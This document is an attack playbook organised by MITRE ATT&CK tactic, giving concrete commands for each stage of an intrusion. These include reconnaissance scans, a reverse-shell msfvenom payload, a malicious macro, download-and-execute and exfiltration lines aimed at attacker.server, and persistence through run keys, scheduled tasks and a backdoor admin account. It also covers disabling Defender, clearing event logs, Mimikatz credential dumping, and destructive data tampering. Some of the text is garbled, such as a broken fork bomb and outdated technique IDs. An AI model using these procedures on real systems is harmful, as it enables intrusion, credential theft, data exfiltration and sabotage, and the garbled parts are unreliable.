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Topic: Structured PoC (Proof of Concept) TTPs(Tactics, Techniques, and Procedures)

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1. **Tactic: Reconnaissance (TA0043)**

Goal: Gather information about the target using public sources or direct probing.

Technique 1: T1598 – Gather Victim Network Information

Explanation: Attacker gathers network details to identify targets and attack vectors.

Procedures:

- Use Shodan to enumerate external services:

shodan host target_ip_or_domain

- Scan the organization's public IP range to find live hosts and services:

nmap -sS -Pn -p 1-65535 target_ip_range

- Perform WHOIS lookup for additional information:

whois targetdomain.com

Technique 2: T1595 – Active Scanning

Explanation: Attacker actively scans for vulnerabilities and services.

Procedures:

- Full port and banner scan:

nmap -sV -A targetdomain.com

- Automated vulnerability scan using OpenVAS:

openvas-start

openvas -T target_ip

Technique 3: T1592 – Search Open Websites/Domains

Explanation: Attacker gathers information from websites and social media.

Procedures:

- Google dorking for exposed files:

site:target.com filetype:pdf confidential

- Use theHarvester to collect email addresses and subdomains:

theHarvester -d target.com -b google

- Scrape LinkedIn (manual/automated) for employee details.

2. **Tactic: Resource Development (TA0042)**

Goal: Build or acquire the infrastructure and tools for the attack.

Technique 1: T1583 – Acquire Infrastructure

Explanation: Attacker sets up C2 domains, servers, and communication points.

Procedures:

- Register new domain (phishing/C2) via registrar or API:

curl -X POST -d @domain_info.json https://api.registrar.com/v1/domains

- Deploy Command & Control (C2) server (example for cloud VPS):

curl -X POST -d @server_setup.json https://api.cloudprovider.com/v1/servers

- Create anonymous email addresses via webmail providers (manual/web UI).

Technique 2: T1584 – Compromise Infrastructure

Explanation: Attacker takes control of existing third-party platforms or resources.

Procedures:

- Scan and target third-party site with nikto and nmap:

nikto -host vulnerable-website.com

nmap -sV vulnerable-website.com

- Find/exploit SQL injection:

sqlmap -u "http://vulnerable-website.com/page?id=1" --dump

- Gain access to cloud storage via weak credentials or cloud misconfigurations.

Technique 3: T1587 – Develop Capabilities

Explanation: Attacker creates or customizes malware/tools for offensive operations.

Procedures:

- Write PowerShell execution-policy bypass script:

powershell

Set-ExecutionPolicy Bypass -Scope **Process** -Force

- Build custom payload with msfvenom:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o payload.exe
```

- Obfuscate payloads via tools like Veil/Evasion:

```
python3 ~/Veil/Veil.py
```

3. **Tactic: Initial Access (TA0001)**

Goal: Obtain the first foothold inside the target environment.

Technique 1: T1566.001 – Phishing: Spearphishing Attachment

Explanation: Custom phishing emails deliver weaponized files for execution.

Procedures:

- Craft Office doc with malicious macro:

```
Sub AutoOpen()
```

```
Shell "powershell.exe -ExecutionPolicy Bypass -File \\attacker\payload.ps1"
```

```
End Sub
```

- Send email using SMTP or tools like sendEmail/Thunderbird.
- Document download/execution triggers connection back to attacker's C2.

Technique 2: T1190 – Exploit Public-Facing Application

Explanation: Exploit internet-exposed vulnerabilities for access.

Procedures:

- Identify vulnerable webapp, then use Metasploit:

```
msfconsole
```

```
use exploit/windows/http/some_vuln
```

```
set RHOST target_ip
```

```
run
```

Technique 3: T1078 – Valid Accounts

Explanation: Use obtained credentials for legitimate system access.

Procedures:

- SSH login with leaked creds:

```
ssh user@target_ip
```

- RDP login on Windows:

```
powershell
```

```
mstsc /v:target_ip
```

- Brute-force via Hydra:

```
hydra -l user -P passlist.txt ssh://target_ip
```

4. **Tactic: Execution (TA0002)**

Goal: Execute malicious code within the target environment.

Technique 1: T1059 – Command and Scripting Interpreter

Explanation: Attacker controls the system using native scripting interpreters.

Procedures:

- Host and trigger PowerShell payload:

```
powershell
```

```
Invoke-WebRequest http://attacker.server/malware.exe -OutFile malware.exe
```

```
Start-Process malware.exe
```

- User executes:

```
powershell
```

```
powershell.exe -NoProfile -ExecutionPolicy Bypass -File payload.ps1
```

Technique 2: T1204.002 – User Execution: Malicious File

Explanation: User triggered execution of the attacker's file (typically by phishing).

Procedures:

- Macro runs PowerShell command as above, with required file path to network or web share.

Technique 3: T1651 – Cloud Administration Command

Explanation: Abuse of cloud admin rights to run remote commands.

Procedures:

- Authenticate with Azure CLI and run PowerShell on remote VM:

az login

```
az vm run-command invoke -g ResourceGroup -n VictimVM --command-id  
RunPowerShellScript --scripts "Invoke-WebRequest http://attacker/malware.exe -OutFile  
C:\\temp\\malware.exe; Start-Process C:\\temp\\malware.exe"
```

5. Tactic: Persistence (TA0003)

Goal: Ensure ongoing access despite system restarts or credential resets.

Technique 1: T1547.001 – Registry Run Keys/Startup Folder

Explanation: Malware is set to auto-run at startup.

Procedures:

- Add registry entry (cmd/Powershell):

powershell

```
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name  
"Updater" -Value "C:\malware.exe"
```

Technique 2: T1053.005 – Scheduled Task

Explanation: System schedules attacker's code for repeated execution.

Procedures:

- Windows:

```
schtasks /Create /SC ONLOGON /TN "UpdateTask" /TR "powershell.exe -ExecutionPolicy  
Bypass -File C:\malware.ps1"
```

Technique 3: T1098 – Account Manipulation

Explanation: Creating/manipulating accounts for persistence.

Procedures:

- Create user and add to admin group:

powershell

```
net user backdoor StrongP@ssw0rd! /add
```

```
net localgroup Administrators backdoor /add
```

6. Tactic: Privilege Escalation (TA0004)

Goal: Obtain admin/system rights on compromised devices.

Technique 1: T1068 – Exploitation for Privilege Escalation

Explanation: Exploit unpatched vulnerabilities to elevate privileges.

Procedures:

- Use compiled/CVE exploit or Metasploit local module for privilege escalation.
(Example)

```
msfconsole
```

```
use exploit/windows/local/printnightmare
```

```
set SESSION 1
```

```
run
```

Technique 2: T1134.001 – Access Token Manipulation

Explanation: Steal/impersonate tokens to inherit higher privileges.

Procedures:

- Use Mimikatz for Pass-the-Hash/Token Impersonation:

```
sekurlsa::pth /user:Admin /domain:target.local /ntlm:<HASH> /run:powershell.exe
```

Technique 3: T1055.001 – Process Injection

Explanation: Inject code into trusted processes to run with escalated rights.

Procedures:

- With Metasploit:

```
set PAYLOAD windows/meterpreter/reverse_tcp
```

```
set LHOST attacker
```

```
set LPORT 4444
```

```
exploit -j
```

7. Tactic: Defense Evasion (TA0005)

Goal: Avoid detection by security tools and logs.

Technique 1: T1070.001 – Clear Windows Event Logs

Explanation: Removes traces of the attacker's presence.

Procedures:

- PowerShell:

powershell

wevtutil cl Security

wevtutil cl Application

Technique 2: T1140 – Deobfuscate/Decode Files or Information

Explanation: Hide payloads/commands using obfuscation.

Procedures:

- Encode and decode scripts inline:

powershell

\$cmd =

```
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("<base64string>"))
```

Invoke-Expression \$cmd

Technique 3: T1562.001 – Disable or Modify Security Tools

Explanation: Disables endpoint security/defenses.

Procedures:

- Disable Windows Defender real-time protection:

Powershell:

Set-MpPreference -DisableRealtimeMonitoring \$true

8. Tactic: Credential Access (TA0006)

Goal: Steal credentials/keys for deeper access or lateral movement.

Technique 1: T1003.001 – LSASS Memory

Explanation: Attacker dumps passwords from LSASS process memory.

Procedures:

- Use Mimikatz:

sekurlsa::logonpasswords

Technique 2: T1555.003 – NTDS DIT Credential Dumping

Explanation: Attacker dumps Active Directory credentials from domain controller.

Procedures:

- Run ntdsutil on Domain Controller:

```
ntdsutil "ac i ntds" "ifm" "create full C:\output" q q
```

- Or use custom dumping scripts or tools as needed.

Technique 3: T1110 – Brute Force

Explanation: Automated guessing of account credentials.

Procedures:

- SSH brute-force with Hydra:

```
hydra -L users.txt -P passwords.txt ssh://target_ip
```

9. **Tactic: Discovery (TA0007)**

Goal: Map out user accounts, network, and system info inside victim environment.

Technique 1: T1087 – Account Discovery

Explanation: Enumerate users/groups to identify accounts of interest.

Procedures:

- PowerShell:

```
powershell
```

```
Get-LocalUser
```

- Windows CMD:

```
net user
```

Technique 2: T1046 – Network Service Scanning

Explanation: Scan for active hosts and listening services.

Procedures:

```
nmap -sV 192.168.1.0/24
```

Technique 3: T1018 – Remote System Discovery

Explanation: Identify networked computers and shares.

Procedures:

```
net view /domain
```

```
net group /domain
```

10. **Tactic: Lateral Movement (TA0008)**

Goal: Move from one compromised system to others in the network.

Technique 1: T1021.001 – Remote Desktop Protocol

Explanation: Use RDP for lateral access.

Procedures:

powershell

mstsc /v:target_ip

Technique 2: T1076 – Remote Services

Explanation: Use admin tools for remote execution.

Procedures:

psexec \\target_ip -u user -p password cmd.exe

Technique 3: T1550.002 – Pass the Hash

Explanation: Authenticate as a user with only the password hash.

Procedures:

sekurlsa::pth /user:Admin /domain:corp /ntlm:<HASH> /run:cmd.exe

Tactic: Collection (TA0009)

Goal: Gather target data for exfiltration.

Technique 1: T1114 – Email Collection

Explanation: Extract emails from victim accounts.

Procedures:

- Export Outlook PST file or programmatically download mailbox contents via script (or IMAP credentials with Python).

Technique 2: T1213 – Data from Information Repositories

Explanation: Access files or databases to copy sensitive data.

Procedures:

- SQL DB dump:

sql

SELECT * FROM sensitive_table;

- Copy files from a network share:

powershell

Copy-Item \\target\share*.docx C:\temp\

Technique 3: T1056 – Input Capture

Explanation: Log user keystrokes and other inputs.

Procedures:

- Install custom keylogger malware:

powershell

Example install command (depends on specific malware)

Start-Process "C:\Users\User\Downloads\keylogger.exe"

12. **Tactic: Command and Control (TA0011)**

Goal: Maintain a reliable communication channel to compromised machines.

Technique 1: T1071.001 – Web Protocols

Explanation: Use HTTP/HTTPS for controlling hosts, blending with web traffic.

Procedures:

- Malware beacons by sending POST requests to C2 server over HTTPS at intervals:

python

Python sample (attacker-side listener)

from http.server **import** BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):

def do_POST(self):

process incoming data

Technique 2: T1105 – Ingress Tool Transfer

Explanation: Transfer additional tools to compromised hosts.

Procedures:

powershell

Invoke-WebRequest http://attacker.server/tool.ps1 -OutFile tool.ps1

powershell -ExecutionPolicy Bypass -File tool.ps1

Technique 3: T1573 – Encrypted Channel

Explanation: Encrypt C2 traffic to evade network defenders.

Procedures:

- Set up SSL/TLS tunnels or use Cobalt Strike HTTPS C2 listener.

13. 🎯 **Tactic: Exfiltration (TA0010)**

Goal: Safely remove sensitive data from the victim environment.

🔧 **Technique 1: T1041 – Exfiltration Over C2 Channel**

Explanation: Send data through established attack communication channels.

Procedures:

- Compress data and upload via HTTPS POST:

powershell

Compress-Archive -Path C:\data* -DestinationPath C:\exfil.zip

Invoke-WebRequest -Uri https://attacker.server/exfil -Method POST -InFile C:\exfil.zip

🔧 **Technique 2: T1002 – Data Encrypted**

Explanation: Encrypt data before extraction to prevent discovery.

Procedures:

- AES encryption with openssl:

openssl enc -aes-256-cbc -salt -in data.txt -out data.enc -k YourSecretPass

🔧 **Technique 3: T1030 – Data Transfer Size Limits**

Explanation: Exfiltrate small files/pieces to avoid detection.

Procedures:

- Split archive in chunks before upload:

split -b 2M data.enc part_

for f in part_*; do

curl -X POST -F "file=@\$f" https://attacker.server/upload;

done

14. 🎯 **Tactic: Impact (TA0040)**

Goal: Disrupt, destroy, or otherwise negatively affect target data or systems.

🔧 **Technique 1: T1486 – Data Encrypted for Impact (Ransomware)**

Explanation: Encrypt files, demand ransom for decryption key.

Procedures:

- Ransomware payload encrypts files and leaves ransom note after execution.

Technique 2: T1499.001 – Endpoint Denial of Service

Explanation: Overload or crash systems/devices.

Procedures:

bash

Linux fork bomb

```
:{ }{ :|:& };;
```

Windows infinite process spawning (PowerShell)

```
while($true){Start-Process notepad.exe}
```

Technique 3: T1565.001 – Stored Data Manipulation

Explanation: Corrupt or alter data to disrupt operations.

Procedures:

- Access database and maliciously update records:

sql

```
UPDATE employees SET salary=0 WHERE department='Finance';
```